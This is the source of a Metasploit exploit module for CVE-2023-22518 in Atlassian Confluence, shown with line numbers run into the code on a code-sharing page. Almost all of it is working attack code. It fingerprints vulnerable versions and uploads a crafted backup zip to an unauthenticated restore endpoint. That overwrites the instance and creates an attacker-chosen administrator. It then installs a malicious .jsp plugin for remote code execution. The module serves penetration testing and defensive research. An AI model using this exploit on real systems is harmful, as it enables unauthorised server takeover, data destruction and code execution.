Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/http/atlassian_confluence_unauth_backup.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::Version10include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::PayloadPlugin1112prepend Msf::Exploit::Remote::AutoCheck1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Atlassian Confluence Unauth JSON setup-restore Improper Authorization leading to RCE (CVE-2023-22518)',19'Description' => %q{20This Improper Authorization vulnerability allows an unauthenticated attacker to reset Confluence and create a21Confluence instance administrator account. Using this account, an attacker can then perform all22administrative actions that are available to Confluence instance administrator. This module uses the23administrator account to install a malicious .jsp servlet plugin which the user can trigger to gain code24execution on the target in the context of the of the user running the confluence server.25},26'Author' => [27'Atlassian', # Discovery28'jheysel-r7' # msf module29],30'References' => [31[ 'URL', 'https://jira.atlassian.com/browse/CONFSERVER-93142'],32[ 'CVE', '2023-22518']33],34'License' => MSF_LICENSE,35'Privileged' => false,36'Targets' => [37[38'Java',39{40'Platform' => 'java',41'Arch' => [ARCH_JAVA]42},43]44],45'DisclosureDate' => '2023-10-31',46'Notes' => {47'Stability' => [ CRASH_SAFE, ],48'SideEffects' => [ CONFIG_CHANGES, ], # Major config changes - this module overwrites the confluence server with an empty backup with known admin credentials49'Reliability' => [ REPEATABLE_SESSION, ]50}51)52)5354register_options(55[56Opt::RPORT(8090),57OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username], regex: /^[a-z._@]+$/),58OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(8)]),59# The endpoint we target to trigger the vulnerability.60OptEnum.new('CONFLUENCE_TARGET_ENDPOINT', [true, 'The endpoint used to trigger the vulnerability.', '/json/setup-restore.action', ['/json/setup-restore.action', '/json/setup-restore-local.action', '/json/setup-restore-progress.action']]),61# We upload a new plugin, we need to wait for the plugin to be installed. This options governs how long we wait.62OptInt.new('CONFLUENCE_PLUGIN_TIMEOUT', [true, 'The timeout (in seconds) to wait when installing a plugin', 30])63]64)65end6667def check68confluence_version = get_confluence_version69return Exploit::CheckCode::Unknown('Unable to determine the confluence version') unless confluence_version7071# Confluence Server and Confluence Data Center have the same vulnerable version ranges.72if confluence_version.between?(Rex::Version.new('1.0.0'), Rex::Version.new('7.19.15')) ||73confluence_version.between?(Rex::Version.new('7.20.0'), Rex::Version.new('8.3.3')) ||74confluence_version.between?(Rex::Version.new('8.4.0'), Rex::Version.new('8.4.3')) ||75confluence_version.between?(Rex::Version.new('8.5.0'), Rex::Version.new('8.5.2')) ||76confluence_version == Rex::Version.new('8.6.0')77return Exploit::CheckCode::Appears("Exploitable version of Confluence: #{confluence_version}")78end7980Exploit::CheckCode::Safe("Confluence version: #{confluence_version}")81end8283# https://passlib.readthedocs.io/en/stable/lib/passlib.hash.atlassian_pbkdf2_sha1.html84def generate_hash(password)85salt = OpenSSL::Random.random_bytes(16)86iterations = 1000087digest = OpenSSL::Digest.new('SHA1')8889key = OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, 32, digest)90salted_key = salt + key91encoded_hash = Base64.strict_encode64(salted_key)9293'{PKCS5S2}' + encoded_hash94end9596def create_zip97zip_file = Rex::Zip::Archive.new9899# exportDescriptor.properties needs to be present in the zip file in order for it to be valid.100export_descriptor = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-22518', 'exportDescriptor.properties'))101zip_file.add_file('exportDescriptor.properties', export_descriptor)102103entities_xml = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-22518', 'entities.xml'))104entities_xml.gsub!('NEW_USERNAME_LOWER', datastore['NEW_USERNAME'].downcase)105entities_xml.gsub!('NEW_USERNAME', datastore['NEW_USERNAME'])106entities_xml.gsub!('NEW_PASSWORD_HASH', generate_hash(datastore['NEW_PASSWORD']))107108zip_file.add_file('entities.xml', entities_xml)109zip_file.pack110end111112def upload_backup113zip_file = create_zip114post_data = Rex::MIME::Message.new115post_data.add_part('false', nil, nil, 'form-data; name="buildIndex"')116post_data.add_part('Upload and import', nil, nil, 'form-data; name="edit"')117post_data.add_part(zip_file, 'application/zip', 'binary', "form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(8..16)}\"")118119data = post_data.to_s120res = send_request_cgi({121'uri' => normalize_uri(target_uri.path, datastore['CONFLUENCE_TARGET_ENDPOINT']),122'method' => 'POST',123'data' => data,124'ctype' => "multipart/form-data; boundary=#{post_data.bound}",125'keep_cookies' => true,126'headers' => {127'X-Atlassian-Token' => 'no-check'128},129'vars_get' => {130'synchronous' => 'true'131}132}, 120)133134fail_with(Failure::UnexpectedReply, "The endpoint #{datastore['CONFLUENCE_TARGET_ENDPOINT']} did not respond with a 302 or a 200") unless res&.code == 302 || res&.code == 200135print_good("Exploit Success! Login Using '#{datastore['NEW_USERNAME']} :: #{datastore['NEW_PASSWORD']}'")136end137138def exploit139print_status("Setting credentials: #{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}")140141# Exploit CVE-2023-22518 by uploading a backup .zip file to confluence with an attacker defined username & password142upload_backup143144# Now with admin access, upload a .jsp plugin using the PayloadPlugin mixin to gain RCE on the target system.145payload_endpoint = rand_text_alphanumeric(8)146plugin_key = rand_text_alpha(8)147begin148payload_plugin = generate_payload_plugin(plugin_key, payload_endpoint)149upload_payload_plugin(payload_plugin, datastore['NEW_USERNAME'], datastore['NEW_PASSWORD'])150trigger_payload_plugin(payload_endpoint)151ensure152delete_payload_plugin(plugin_key, payload_endpoint, datastore['NEW_USERNAME'], datastore['NEW_PASSWORD'])153end154end155end156157158